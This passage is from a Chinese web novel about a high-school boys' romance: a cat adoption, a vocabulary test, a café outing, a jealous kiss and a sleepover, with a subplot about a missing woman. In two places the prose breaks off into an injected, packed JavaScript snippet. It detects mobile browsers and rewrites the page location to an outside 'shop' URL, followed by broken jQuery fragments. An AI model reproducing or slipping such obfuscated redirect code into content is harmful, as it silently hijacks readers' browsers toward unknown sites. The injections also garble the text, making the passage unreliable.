“这才对嘛!”林宇舟憨笑地拍两人肩膀,朝远处的叶萧云使了个眼色。 男生终于回过神,走过来接过箱子:“我来拿吧。” 说完,他搂着林宇舟走了,两人边走边窃窃私语。 两人刚离开,陈温就别过脸不再看某人。 沈泽许凑近小声嘟囔:“你刚才弄疼我了。” “疼你就受着呗。”陈温梗着脖子,突然被沈泽许捧着脸转回来。 四目相对。 “你生气了?” 陈温:“没有。” “你嘴撅的可以挂油瓶了。” “……” 林宇舟和叶萧云两人跑到附近的香樟树后头,怀里纸箱中的猫妈妈懒洋洋打了个哈欠。 “我看他俩压根没那意思。”林宇舟抓抓后脑勺。 “跟咱俩平时闹别扭一个样。”叶萧云附和。 “我刚故意强调‘好兄弟’,他俩一点反应都没有。” 两人默契地点点脑袋,同时回头一看——沈泽许正捧着陈温的脸,鼻尖都快碰上了,两人似乎彻底和好了,叽里咕噜的说着什么。 要不是角度问题,简直像要…… “操。”林宇舟一把捂住眼睛。 “日。”叶萧云也跟着捂脸。 “喵。”猫妈妈嫌弃地别过头。 上课铃快响时,校门口来了个花臂大汉。 电动栅栏外,他挥起满是纹满青龙的胳膊:“小同学,方老师在不在?我是来领猫的。” 闻言,陈温立马甩开沈泽许的手,三步并作两步跑过去:“老师忙去了,你的领养单呢?” 大汉从裤兜掏出皱巴巴的纸:“这儿呢!”嗓门大得吓跑两只麻雀。 陈温确认完,就叶萧云磨磨蹭蹭抱着箱子过来,脸皱得像吃了一盘苦瓜。 三只小奶猫被放了回来,一骨碌滚进妈妈身边,毛茸茸地挤成一团。 “舍不得啊?”大汉咧嘴笑,“后街的奶茶店,可以随时过来看!” 聆听,叶萧云深吸一口气,闭眼把箱子递出去,跟割肉似的。 大汉接过,嘴角勾起一个淡淡的微笑,露出颗金牙,抱着纸箱大步流星地走了。 猫妈妈从箱沿探出脑袋,冲叶萧云“喵”了声,像是在跟他道别。 男生站在原地没动,眼睛直勾勾盯着大汉离去的方向,直到那身影彻底消失在拐角。 他手里还维持着抱箱子的姿势,指节都攥得发白了。 林宇舟一把搂住他脖子:“咋的,舍不得?” “才,才不是呢!我是怕那纹身男不靠谱……他看起来像个坏人。”叶萧云撇撇嘴。 “怕啥!”林宇舟使劲拍他后背,“周末去他家奶茶店里突击检查,要真是个虐猫的——”他抡起胳膊做了个揍人的动作。 叶萧云还是闷着头。 林宇舟拽着他往教学楼跑:“赶紧的!等会‘熊出没’,咱俩都得完蛋!” 刚爬到楼梯拐角,熊丽的大嗓门就从教室里炸出来。 所有人头皮一麻,撒丫子往楼上冲。 “报告!” “报告!” 此起彼伏的喊声里,熊丽今天居然没发火,只是摆摆手放他们进去——怪了,今天太阳打西边出来了? 熊丽翻着听写本,嘴角都快咧到耳根了——语文老师请假,她又多捞一节课。 她清了清嗓子,说:“这次听写不太理想啊,念到名的放学留下,背单词——陈文。” 教室里顿时响起窸窸窣窣的笑声。 “老师!”陈温举起手,“我叫陈温。” “哦哦,”熊丽摆摆手,“以前带过个叫陈文的,叫顺口了。”她面不改色继续点名,仿佛刚才只是念错了天气。 念完名单,她弯腰从讲台下拎出个鼓鼓囊囊的塑料袋,把里面的零食抖了出来:“听写满分的上来领奖——沈泽许,李清依,王梦瑶……” 被点到名的挨个上去领零食,其他人只能眼巴巴的看着,后排有人小声嘀咕:“早知道多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171974|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背两个单词了。” 发完奖品,老师又问:“各组长都认领完组员了吗?” 2班这帮人熟得跟自家兄弟似的,三下五除二就组好了队。 组长们把名单往讲台一交,熊丽随手翻了翻——一个落单的都没有,连平时最孤僻的眼镜男都被拽进了组。 熊丽满意地点头:“我们这次就差一分超过1班了。”她猛地拍桌,“下次月考要是拿第一,我请全班吃大牛堡!” 台下同学该预习的预习,该走神的走神——熊丽这种空头支票开得多了,谁当真谁傻。 唯独一个跟熊丽关系好的男生举手:“老师,真的假的?” “当然是真的,我初中同学开的店。”熊丽挑眉,“但要是没拿第一——”她竖起三根手指,“只有前三的小组才能吃。” 这话倒是比往常实在了点,可底下该打瞌睡的还是东倒西歪,没几个人当真。 教室里安谧得能听见翻页声——倒不是被激励的,纯粹是被熊丽说的“大牛堡”,馋得没力气闹腾。 放学铃一响,教室里瞬间跑得只剩六个倒霉蛋,外加一个自愿陪绑的沈泽许。 陈温盯着本子上那个刺眼的空白——差这一个啊!就差一个词他就不用留下来了,他恨不得现在把脑袋往桌上磕,觉醒系统,回到过去。 “沈哥,你真不先去吃饭?”林宇舟半个身子探进教室,问道。 “等陈温。” 走廊上的叶萧云扯着嗓子喊:“舟哥快点,再不去食堂没位子了!” “马上!”林宇舟冲沈泽许比了个“加油”的手势,说:“那我们先撤了啊。” 老师见沈泽许没走,挑眉道:“哎呀,沈同学不去吃饭啊?” “等陈温。”沈泽许又重复了一遍。 “你们关系挺铁啊。”熊丽不紧不慢地说:“背熟的找我或者找沈泽许听写啊。”她特意看了眼沈同学,“你当会小老师,行不?” 沈泽许点头应下。 陈温后颈一凉——这家伙肯定没安好心。 果然,一道灼人的视线烙在他背上。 “你能不能别盯着我……”陈温脊背绷得笔直,“我容易……” “嗯?” “我容易分心!” 沈泽许装模作样地撑起下巴:“好吧,不看你。”眼睛却黏在他身上没挪过位。 陈温憋屈得像个被老师盯着补作业的小学生,他咬牙切齿地翻着单词本——但是没办法,背不完,连饭都别想吃! 讲台上,熊丽正悠闲地划拉手机,不知道在给谁发信息,看得都入了迷。 片刻,陆续有几个同学来找沈泽许背单词,陈温总算能喘口气。 他赶紧把不会的词又过了几遍。 等人走光,他把本子往沈泽许面前一推:“我准备好了,来吧。” 沈泽许眉毛一挑,随口报了个词。 陈温对答如流。 沈泽许板着脸又报了五个词,从难到易一个不落。陈温也磕磕绊绊全拼对了,额头都憋出汗来。 “过关。” 男生合上课本,起身跟熊丽打了个招呼,拎起外套就把人往外带。 食堂里人挤人,陈温刚打完饭就被撞得一个踉跄。沈泽许伸手扶住他胳膊,顺势把人往角落带。 “坐这儿。”沈泽许从外套里翻出纸巾,擦起油腻的桌面,“你再晚点背晚点,连番茄炒蛋都没了。” 陈温扒拉着饭,突然发现餐盘里多了块排骨——沈泽许不知什么时候夹过来的。 “你干嘛?” “太肥了。” “……” 旁边那桌刚走,又来了两个人。 好巧不巧,是杨子龙和他女朋友。 陈温一见那两人就条件反射摸鼻子,眼神乱飘;沈泽许倒是面不改色。 杨子龙笑脸瞬间僵住,拉着女朋友就要走。 “干嘛换位置啊?”女生小珍不肯,“这不有空位吗?” 杨子龙支支吾吾说不出话。 陈温却开口道:“坐吧,这儿没人。” 小珍道了谢就坐下,杨子龙只好硬着头皮跟着坐,餐盘放得叮当响。 杨子龙绷紧着神经,生怕他俩提之前扔餐盘那档子事,让他在女朋友面前丢脸。 结果人家不但没提,还在小珍找纸巾时,递给两人一人一张。 他忽然觉得心里那块石头落了地——该道的歉早道了,该改的毛病也改了。 都是同学,何必一直较劲呢? 说不定以后还能当兄弟。 这么想着,他主动把额外买的鸡翅分给两人:“尝尝?今天炸得特酥。” “谢谢!”陈温眼睛唰地亮起来,筷子已经伸了过去。 沈泽许却是把餐盘往后一撤:“谢了,不用。” 杨子龙的手僵在半空,场面一时有点尴尬。 “他不吃,我吃!”小珍直接把那鸡翅都夹过来,咬得咔吱响,“嗯~确实酥!” 42. 蛋糕味 一直到了晚自习时分,紫霞褪成了墨色。 香樟树的轮廓在暮色里模糊不清,连同香气都被夜风吹淡了。 陈温把英语书往桌上一拍——这次的小组赛他绝不能拖后腿。虽然知道沈泽许能carry全场,但他脸皮还没厚到心安理得躺赢。 他往常背单词就跟要命似的,口语更是塑料级别,考试能不垫底才怪。 陈温深吸口气,掐着表背了25个单词,草稿本上密密麻麻全是“鬼画符”。 下课铃响时,他试着按音标念——舌头跟打了结似的,发音活像被开水烫了嘴。 沈泽许从开始就注意到他的动静,边写作业边往他那边瞟。 等到陈温在读单词时,表情更是复杂。 陈温抬头撞上他的视线:“怎么了?” 男生笔尖一顿:“打扰到你了?” “没有啊,”陈温皱眉,“倒是你老盯着我干嘛?” “没,”沈泽许装傻,“你在……干嘛?” “读单词啊。” 沈泽许猝不及防笑得趴桌上,肩膀直抖。 陈温一脸懵:“?” “还以为你在念咒语,”沈泽许抹了把眼角,“没敢打扰你。” “……” “笑笑笑!不许笑!”陈温板着脸瞪他。 沈泽许好不容易止住笑,说:“我教你?” “不要。”陈温扭头拒绝。 “确定不让年级第一的男朋友辅导你?”沈泽许换了说法,又说了一遍,漫不经心地支起下巴,“包教会。” 陈温耳朵一抖,突然开窍——这不明摆着既能谈恋爱又能提分的好事吗?!天助我也! “……行吧。”他假装勉为其难地点头,嘴角却压不住地上扬。 沈泽许翻开单词本:“先读这个,‘phenomenon’。” 陈温跟着念:“费、费脑门嫩……” “不对,”沈泽许合上书,“换种教法。”他在纸上唰唰写下几个单词:“读这些。” 男生低头一看—— “Sunset” “Serendipity” “Fingerprints” “这……不是考纲词汇吧?” 沈泽许撑着下巴笑:“我喜欢的词,先教你读这些。” 陈温耳根发烫,小声念完最后一个:“……Soulmate?” “发音完美,有进步。”沈泽许夸赞道。 林宇舟忽然从后门晃到两人桌前,随手抓起陈温的单词本翻看:“哟,这么用功?” “有事?”沈泽许抬眼望去。 “没啥,”林宇舟把本子一合,“就是问问你们周末去不去学校后街的奶茶店,看看小猫们怎么样了。”他故意补充道,“好多小情侣都爱去那里。” 两人对视一眼,陈温:“不去。” 沈泽许:“去。” 林宇舟:? 他眉毛挑得老高:“到底去不去?” 陈温偷瞄了眼沈泽许,对方正用笔尾轻轻戳他手背。他喉结动了动:“……去。” “那说定了啊!”林宇舟话锋一转,斟酌着开口:“对了你们是不是……” “我去!走廊有对小情侣在亲嘴子!”叶萧云忽然在门口嚎了一嗓子。 闻言,全班瞬间炸锅,呼啦啦往门外涌。陈温也蹭地站起来,跟着人群挤出去看热闹。 林宇舟伸出去的手僵在半空:“……” 沈泽许慢悠悠合上单词本,也跟了上去。 顺着人群视线望去——对面教学楼的名人雕塑旁,两个“老熟人”在私密约会,杨子龙正把女朋友圈在怀里。 高三比其他年级要多上一节晚修,那栋楼常常黑漆漆的,只有几个班的灯还亮着。有些小情侣会偷偷溜到没人的地方约会,也不知怎么想的。 两人完全没发现已经成了2班的焦点。 陈温正看得起劲,忽然耳后一热。 沈泽许的声音混着呼吸声钻进来:“看别人这么起劲.……有没有想过自家男朋友?”手指悄悄勾住他校服下摆,“我们好像好久没接过吻了。” 陈温猛地扭头,差点撞上沈泽许的鼻梁。 那人眼里明晃晃写着:要现在演示给他们看么? “下次吧……哈哈。” 他干笑了两声——作为刚弯没多久的直男,这种亲密接触还是会让他条件反射地想躲,除了第一次是自愿的。 隔壁1班也听见动静,探出几个脑袋来,走廊顿时挤得像沙丁鱼罐头。 有人甚至不知从哪摸出个望远镜观看,还有几个踮着脚举起“违禁物品”手机偷拍。 上课铃却在这时响起,AK主任的怒吼从楼梯口传来:“都干什么呢!给我回去上课!” 人群瞬间作鸟兽散。 沈泽许淡定地替陈温理了理被挤皱的衣领,主任眯着眼打量他俩,对陈温说:“小同学,晚上降温,多穿点。” “谢谢,主任关心!”陈温拽着沈泽许就跑。 主任双手背在身后,转身要走,余光却瞥见对面雕塑旁——杨子龙和女朋友还黏在一块儿…… 周末的天气忽然冷得像换了季节,前几天还热得冒汗,这会儿阴云压得人喘不过气。 枯叶打着旋儿往人脚边扑。 公交车“嗤”地停下,陈温一眼就看见站台边的沈泽许。 他跳下车直接撞进对方怀里:“你身上好暖。” 男生的手冷得像冰块,沈泽许直接撩开大衣,把他的双手按在自己毛衣包裹的肚子上:“怎么穿这么少?” “从广州带来的衣服就几件……”陈温的手无意识蜷了蜷,隔着毛衣碰到腹肌轮廓。 “衣服脱了。” “!”陈温耳尖瞬间红透,但是还是点点头,笨手笨脚地扯下单薄外套。 沈泽许麻利地把自己大衣裹在他身上,让他穿上。 “你不冷?”陈温被带着体温的暖意包围,声音都发飘。 沈泽许把他往奶茶店方向带:“我穿得多,没事。”伸手拂掉他肩头的枯叶,“到是你冷得在发抖。” 另一边,林宇舟和叶萧云早早在奶茶店门口等着,旁边站着李欣桐——叶萧云为了上次连累她一起被主任骂的事,请她喝奶茶赔罪礼。 奶茶店门口是全景玻璃,透亮干净。 两个男生猫在门边探头探脑,李欣桐在一旁嫌弃地别过脸。 引得路人连连观看。 店里传出花臂男的吼声:“整天就知道吃!还好意思抓客人!看我不收拾你。”伴随着猫咪打闹的动静。 两人对视一眼,心一横,牙一咬,猛地冲进去——却见店主蹲在地上,任由一只橘猫抱着他手指啃咬。 林宇舟:“……” 叶萧云:“……” 这和他们想象的虐猫场景差了十万八千里。 “哟,你们来了啊!”花臂男听见门铃声抬头,花臂上的青龙纹身跟着肌肉抖动,“站着干啥啊?坐啊!” 林宇舟和叶萧云还懵着,李欣桐已经潇洒地甩着短马尾进去了。 店主把他们领到6号桌——旁边就是猫爬架,三花妈妈正带着崽崽们睡觉,比上次见到它们还圆上一圈。 “说好的虐猫呢?”林宇舟用菜单挡着脸。 叶萧云盯着在店主肩上踩奶的橘猫:“这猫……都胖成猪了。” 李欣桐淡定地勾着最贵的甜品——反正是叶萧云买单。 这店菜单离谱得很,奶茶只有半页,后面全是提拉米苏和慕斯蛋糕,更像是甜品加猫咖店。 “哎哟轻点!”店主龇牙咧嘴地把橘猫从肩上扒拉下来,“这祖宗光吃不做,见客就躲。” 林宇舟干笑两声:“猫嘛……都这样。” 李欣桐把点单表往两人面前一拍——三份提拉米苏、杨枝甘露加两份布丁。 这家店价格还算实惠,但李欣桐点“这么多”的架势,还是让两人默默加了两杯普通奶茶。 店主笑着把猫放下,转身时花臂上的青龙纹身抖了抖:“马上好~” 甜品刚摆上桌,店门的风铃就响了。 陈温裹着明显大一号的黑色大衣进来,沈泽许手臂上搭着件单薄外套跟在后面。 “这儿!”叶萧云挥手。 两人穿过店面时,不少客人偷偷抬眼——高个子的那个眉眼冷峻,矮一点的被大衣衬得格外白皙,走过带起一阵淡淡的清香。 林宇舟眯起眼睛,突然觉得陈温身上那件大衣……怎么越看越像沈泽许去年穿过的? 李欣桐则是头也不抬地对着甜品狂拍。 陈温挨着墙边坐下,沈泽许自然地坐在他身旁。 店里暖气足,陈温脱下大衣叠在腿上。 他盯着菜单上精致的甜品图片,心里有种微妙的情绪。 这几个月发生的事超出他的预算,钱包里只剩几张皱巴巴的零钱。 他偷偷瞄了眼兴致勃勃的朋友们——上次喝西瓜汁是叶萧云请的客,上上次奶茶是沈泽许付的账…… 放假按他往常的习惯,肯定大门不出二门不迈,睡他个天昏地暗最省钱。 可沈泽许“想去”的小动作,就让他鬼使神差地跟过来了。 笔尖在“草莓小蛋糕-15元”上停了停,这是他钱包能接受起的东西…… 沈泽许接过菜单,看了眼陈温挑的东西,在“双人下午茶套餐”上画了个圈。 而后,陈温无聊地刷视频,忽地感觉到腿边毛茸茸的——有只胖橘正蹭他的裤脚。 他弯腰把猫抱进怀里,摸了两把又赶紧放下,还拍起大衣上根本不存在的猫毛。 就在这时,隔壁桌乍然站起个女生,她端着抹茶红豆包走过来:“陈温?好巧啊!” 男生闻声抬头:“苏颜晓梦?” “你居然还记得我的名字啊。”女生笑起来有两个酒窝。 “因为你的名字好听,也很好记。” “哈哈,是吗?哎呀,沈同学也在啊。”她转了个方向,面朝沈泽许,“好久不见了。” 那人“嗯”了声,没什么表情,“最近有点忙。” 苏颜晓梦把甜点盘往陈温面前一推:“尝尝?这家店的招牌。” “不、不用……” “没事,别跟我客气。”她又问,“沈同学呢?” 沈泽许摇头,“ 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林宇舟涨红了脸,气鼓鼓道:“那你有什么高见?” “当然是直接问啦,”女生把吸管咬得咔咔响,“不比你们那些烂计划强?” “不行!太尴尬了!”林宇舟脑袋摇得像拨浪鼓。 “那你倒是出个聪明的主意啊?”叶萧云瞪他。 “我这还不明智?” 李欣桐忽然意识到什么,眯起眼,问:“你俩为啥这么上心?该不会……” “屁!”林宇舟急得直反驳,“我俩是怕别人知道了乱传!你不是天天刷短视频吗?那些对这些群体的恶评你没见过?” 李欣桐想起刷到过的难听言论,表情也严肃起来:“……也是。” 他们讨论得正起劲,差点忘了正主就在他们对面。直到余光瞥见个女生从他们那边离开,才停止讨论。 刚才陈温跟她似乎聊得挺开心,而沈泽许全程面无表情,微低着头,看不清表情。 “……我们是不是搞错了?”叶萧云迟疑道。 其他两人:。 由于沈泽许点的甜品太多,几个人分着才勉强吃完。 碍于外人在场,整顿饭他俩都规规矩矩的。 临走前,沈泽许把陈温点的、没动过的蛋糕装盒打包。 到了小区楼下,陈温鬼使神差说了句:“要不上来喝杯热茶?” 电梯里安静得能听见彼此的呼吸声。 自从苏颜晓梦跟他聊天过后,沈泽许就沉默得反常。 “我回来了。” 进门,换鞋。 依旧没有人应答陈温。 男生端着茶杯小心打量——沈泽许正盯着茶几上那盒打包的草莓蛋糕,不知在想什么。 “那个……”陈温刚开口,沈泽许却抢先问: “她名字真的很好听吗?” 茶水在杯子里晃出一圈圈涟漪来。 “啊?”陈温愣住,“难道不好听吗?” “你喜欢那种类型的?”沈泽许盯着茶杯。 “这……” “你跟她说了好多话……” 陈温福至心灵——这人醋坛子翻了。 “听我说,我跟她……” 陈温话还没说完,一个天旋地转——沈泽许把他扑到沙发上。 “男的女的都不行。”沈泽许声音发哑,手臂箍得他有点疼,“不准丢下我……” 陈温在心底叹气——这人表面高冷,内里根本是个没安全感的幼稚鬼,心里想法还挺多。 “不是!你先听我说……” 下一秒,沈泽许的唇瓣就压上来,轻易撬开他的齿关,一点点靠近。 温热的舌尖扫过上颚,陈温瞬间绷紧了脊背。 温度。湿度。软度。心跳。 眼下。耳轮。 脖子。锁骨。 亲了会儿,两人分开。 陈温喘着气瞪他,用手背挡着嘴巴。 “伤好了又开始作死了?” 沈泽许捉住他手腕按在沙发靠背上:“嗯,讨债。” 茶几上打包的草莓蛋糕盒子敞开着,丝带散落一旁——蛋糕表面不知道是被哪个缺心眼的扣走了一块。 沈泽许的唇再次压下来,他的手掌稳稳托住陈温的后脑勺,将他更深地靠近自己。 唇舌交缠,陈温尝到奶油和草莓的甜腻,还有闻到沈泽许身上的茉莉花味。 男生的手指陷进沈泽许的发间,发丝缠绕指节的触感像握住了流动的月光。 呼吸被彻底掠夺,他无意识收紧手上的力道,沈泽许却跟没事人一样。 舌尖扫过可怜的上鄂,激起一阵战栗。 氧气越来越稀薄,陈温发出无意识地呜咽,却被某人趁机加深了这个吻。 分开时银丝牵连,他大口大口喘息,眼尾潮红。 沈泽许用指腹擦过他湿润的嘴角,“还不会换气吗?” 陈温恢复了点力气,一脚踹开了他。 “你除了欺负人、舔我一脸口水还会干什么?!!” 43. 抱枕 窗外偶尔有车碾过路面的声音,屋里静得能听见时钟秒针走动。 陈温翻了个身,面朝沙发背,把自己蜷成个虾米,留个后脑勺对着沈泽许。 而沈泽许从地毯上撑起身,脸上还是那副淡淡的笑,没有说话。 他坐回沙发上,发现陈温背对着他,随后轻轻撩开男生额前的碎发。 “沈泽许,”陈温忽然开口道:“你为什么喜欢我?”声音像结冰的湖面,“我什么都做不好,一无是处……” 手指停在发梢,沈泽许怔怔看着他的侧脸。 午后暖阳透过薄薄的窗帘,将陈温的身形照得极为纤瘦,好像一碰就碎的瓷器。 男生顿了顿,说:“因为是你。” 这三个字砸得太直白,似有千斤重,从高处砸下来,震得周围的空气都在颤。 沈泽许察觉身下的人在轻轻发抖,小心地将人转过来。 果然,陈温眼尾泛红,睫毛上挂着要掉不掉的水珠,鼻尖也有些通红。 他调整了坐姿,轻轻将陈温的脑袋挪到自己腿上。 沈泽许低头在那泛红的额间印下一个吻,声音比任何时候还要软: “因为是你。无论是怎样的你,我都喜欢。” 陈温点点头,喉咙里滚出个如带着哭腔的“哦”。 沈泽许低笑,说了一句:“别哭了。” 陈温有点懵,猛地坐起来:“谁哭了!?” “那你眼尾那么红……”沈泽许装起无辜。 “你说呢?”陈温没好气地瞪他。 ——分明是刚才被亲到缺氧憋红的。 然而,沈泽许挑眉,摆明不信这套说辞。 陈温则表示困得眼皮开始打架,吃饱喝足该睡午觉了。 沈泽许不要脸地凑过来,说:“一起睡?” “不要!”陈温拒绝地往后缩。 沈泽许直接把下巴搁他肩上:“就半小时。”声音软得像狗尾巴草扫过。 “……” 最后两人挤在床上,陈温前一秒还在嘟囔“两个人太挤了”,后一秒就八爪鱼似的缠上来,腿架在沈泽许腰上,脸埋进他颈窝。 沈泽许浑身僵得像块木板——不是像是怕吵醒他,更像是某处不太对劲的触感让他不敢动。 窗外对侧的一家小公司内,陆晚枝忙活了一上午,连午饭都没顾上吃。 趁着同事都在午休,她轻手轻脚溜出办公室。 最近她为了找江夏,跑遍了女生的前公司、问遍朋友跟大学同学,最后找到她父母家…… 陆晚枝犹豫地敲开门,江母一见是她,笑脸立刻垮下来:“你还有脸来?滚!!!” 说着就要摔门。 陆晚枝毫不犹豫地伸手拦门,差点被夹到手。 “不是的阿姨,不好意思打扰到你们了。我是来问问,江夏她在不在阿姨这,我想跟她谈谈。” 江母气得满脸通红:“不在!死外头也别来找我们!” 动静极其大,惊动了江尘——那个与江夏眉眼相似的弟弟,今年刚上大学。 他快步走来,对母亲低声道:“妈,我来处理。” 一男一女站在水泥裸露的楼梯间,墙上贴满小广告,地上积着灰尘和烟头。 江尘舔了舔干裂的嘴唇,问:“我姐怎么了?” “失踪了……”陆晚枝声音发涩得生疼。 “什么叫……失踪了?”江尘忽然觉得中文好陌生。他姐不是该和这个人远走高飞了吗?明明前年还发短信说在那边过得很好啊…… 陆晚枝知道他们姐弟感情深,把她所知的事情原原本本说了一遍。 江尘眉头越皱越紧,最后叹了口气:“我会帮忙留意的。” 回忆到这里就被中断了——24小时便利店到了。 陆晚枝拿了包泡面,正想找店员要热水,一抬头却整个人僵住。 店里的面包区站着个穿黑衣戴口罩的人,眼下挂着浓重的黑眼圈。 那身形太熟悉了。 她是不会认错的。 陆晚枝冲过去拉住那人手腕:“江夏?” “不好意思,你认错人了。” 口罩下的声音闷闷的,有气无力。 陆晚枝却不管不顾地说起来:“对不起,我不该总加班,不该错过你生日,原谅我好不好……” 那人猛地甩手:“都说了不是!” 陆晚枝僵在原地。 那人抓起面包就走,声音发颤,又像是用尽了全身力气:“我有男朋友了……我喜欢男的,别烦我了。” 陆晚枝没追上去。 那句话像钝器砸在胸口,震得她呼吸困难,头也晕。 天色暗得比平时快,夕阳已经沉了下去。 门锁转动,元姨推门进来。 钥匙刚放鞋柜上,就发现客厅空着。茶几上有盒拆开的蛋糕,奶油有点化了。 她把蛋糕塞进冰箱,推开最里间的卧室门。 床上挤着两个人——是小宝跟他的同学,正睡得头发凌乱。 元姨凑近看了看,心里嘀咕:这俩孩子关系这么要好? 她发觉陈温踢了被子,正想给人盖回去,免得着凉了,陈温就迷迷糊糊睁了眼。 “元姨?”他声音还带着睡意。 “小宝吵醒你了?” “没,自然醒。”陈温伸懒腰时,不小心碰到沈泽许,把那人也给弄醒了。 元姨见人醒了,眉眼弯弯,说:“小沈,还记得我吗?” 沈泽许看清人后,瞬间坐直:“元姨好。” “都饿了吧?姨给你们煮点吃的。” 女人边拉开窗帘边说,随后出去了。 屋里静了3秒。 沈泽许突然发问:“元姨为什么叫你小宝?” 陈温乐了:“这醋也吃?” 沈泽许:“……?” “就问下。” “因为我生下来营养不良,才四斤二两,”陈温站起来比划,“瘦得像个小猫崽,家里人就喊小宝了。” 沈泽许点点头,微低着头若有所思,像在琢磨什么重要的事。 两人想进厨房帮忙,却被元姨轰出来:“厨房挤不下这么多人!你们看电视去!” 可沈泽许坐了会儿,又蹭过去对元姨“献殷勤”。 厨房里顿时传来他和元姨的说笑声。 陈温独自坐在沙发上磕葡萄,一颗接一颗,酸得眯起眼。 饭都煮完了,元姨还是笑得合不拢嘴,直夸沈泽许懂事:“这么好的孩子,给我当干儿子算了!” 陈温默默在一旁洗碗——这人怎么跟见家长似的,把元姨都给哄得眉开眼笑。 元姨洗了手解下围裙,像完成每日任务似的匆匆走了。 沈泽许又理所应当地留下来吃饭。 两人面对面坐下。 元姨做的家常菜冒着热气,番茄炒蛋油亮亮地反着光。 两人边吃边聊,自然得像已经同居多年。 这一刻似乎变得很轻——像悬在空中的肥皂泡,明明知道下一秒就可能破碎,却贪心贪恋地希望时间永远停在这里。 一句话毕完,沈泽许把他那边的一盘番茄炒蛋推过来:“尝尝?” “哦。”陈温其实很想吃,但那盘菜离得有点远。他总觉得沈泽许怪怪的,还是伸筷子夹了一块蛋。 那味道比平时甜不少,番茄的酸味恰到好处地衬着甜。 陈温眼睛一亮:“好吃!” “这是我做的。” 沈泽许声音里带着点求表扬的意味。 陈温跟没听见一样。他埋头吃得正香,吃到一半才抬头问道:“你加了什么?好好吃。” “番茄酱。” “?”陈温筷子停在半空——番茄炒蛋加番茄酱? 沈泽许则一脸淡定:“我们家阿姨教我的。” 陈温盯着盘里红得异常的炒蛋,笑出声:“哪有这样做的!” “现在有了。你喜欢吃,我下次还给你做。” “。”陈温立刻闭嘴,埋头乖乖吃饭,耳根却悄悄染上一抹绯红。 这次吃完饭,陈温死活不让沈泽许洗碗,把他轰到餐厅:“哪儿凉快哪儿呆着去!” 沈泽许却挑眉坐在餐凳上,盯着陈温的背影——那身板看着单薄,但腰臀线条流畅,头发也长了些,碎发不服帖地翘着。 男生三两下洗完碗出来,见沈泽许还乖乖坐着对他笑,顿时来气:“你今天该不会又不回去吧?” 说完自己先愣住——为什么要说“又”? 沈泽许抿起嘴唇:“不能吗?” “……”陈温一把将擦手毛巾甩在他脸上。 “能能能,随便你。”他憋着火翻找睡衣,一回头发现沈泽许还跟在身后。 他在浴室扯下毛衣时,那人还在看。 “我要脱衣服了!” 沈泽许倚着门框笑:“那你脱啊。” 陈温彻底恼了:“不是!我要洗澡啊!” “正好啊,”沈泽许笑得像只狐狸,“一起洗鸳鸯浴?” 陈温觉得这话简直就是在耍流氓,却也跟着笑了一下。随后,他举起花洒对准沈泽许:“现在出去,不然让你湿着身子,把你赶出去。” 不知道这话算不算威胁,但沈泽许确实走了。 男生“咔哒”一声锁上门,又推了两下确认不会跟往常一样自动弹开,这才松了口气。 外面的沈泽许听见了水声,才离开浴室门口。 上次买的洗漱用品都还在,整整齐齐摆在架子上,还能再用。 他先在屋里转了一圈——从门口开始,鞋柜里只有两双运动鞋,洗的有些发白;厨房的冰箱有点空,但基础食材都有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171976|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发躺起来有点硌腰,不知道陈温中午被他压时,是不是也硌…… 最后停在最里面的卧室门口——陈温的房间。 沈泽许轻轻推开卧室门,借着客厅的光线打量。他躺到陈温床上,拿起枕头细细闻了闻——是熟悉的桂花香,枕头上面缠着两根头发。 枕头边搁着他送的仓鼠玩偶,绒毛被睡得塌下去一块。 最后注意到床头柜上有本厚厚的,类似于笔记本的东西,封面上写着“学霸逆袭笔记”,里面夹着一支笔。 沈泽许没翻看,把所有东西按原样摆好,悄悄退出了房间。 一盏茶的功夫,陈温洗完澡出来,身上的桂花香比平时更浓。 他没洗头,发梢还干着。 沈泽许偷瞄了一眼,又假装在看电视,但走近就能发现屏幕上还停在启动时的广告界面。 陈温这次学聪明了。他先把睡衣塞给沈泽许,等他进去洗澡后,顺手关了电视和客厅灯。 男生回屋躺在床上刷手机——这学期玩手机的时间确实变多了,除了和沈泽许聊天,就是刷短视频。 偶尔会点进慕雨澄的直播间。 看到很多人喜欢他挺高兴,但总有些恶评冒出来,好像是从那次和电竞选手打娱乐赛之后开始的。 陈温被几个搞笑视频逗得直乐,笑着笑着忽然想起正事,赶紧抓起旁边的“学霸笔记”写起来。 沈泽许洗完出来,陈温就头也不抬地使唤:“脏衣服扔阳台洗衣机,记得开甩干模式,不然明天不干,你就穿不了了。” 沈泽许挑眉照做了。 按下启动按钮,洗衣机开始转动。 他无意间望向阳台外——路灯下的长椅旁站着个黑衣清瘦人影。 客厅没开灯,对方按理看不清沈泽许。 但他却把那人面容看得清清楚楚——包括对方精准投向这个楼层的视线。 陈温还窝在床上,后背垫着那个仓鼠玩偶。他爱死这个礼物了——能抱能枕能垫腰,绒毛蹭着皮肤格外舒服。 沈泽许回来了,他关上门,问:“我睡哪?” 陈温觉得这人绝对是故意的,但也说不了他什么。男生拍了拍床铺:“这儿。” “真的吗?会不会挤?” “你想睡沙发也行,”陈温慢悠悠补充,“反正今天没打雷。” 下一秒,沈泽许就掀起被子上了床。 陈温还在写着本子,沈泽许凑过来他就躲。 “为什么不让我看?” “我在写日记啊,大哥。” 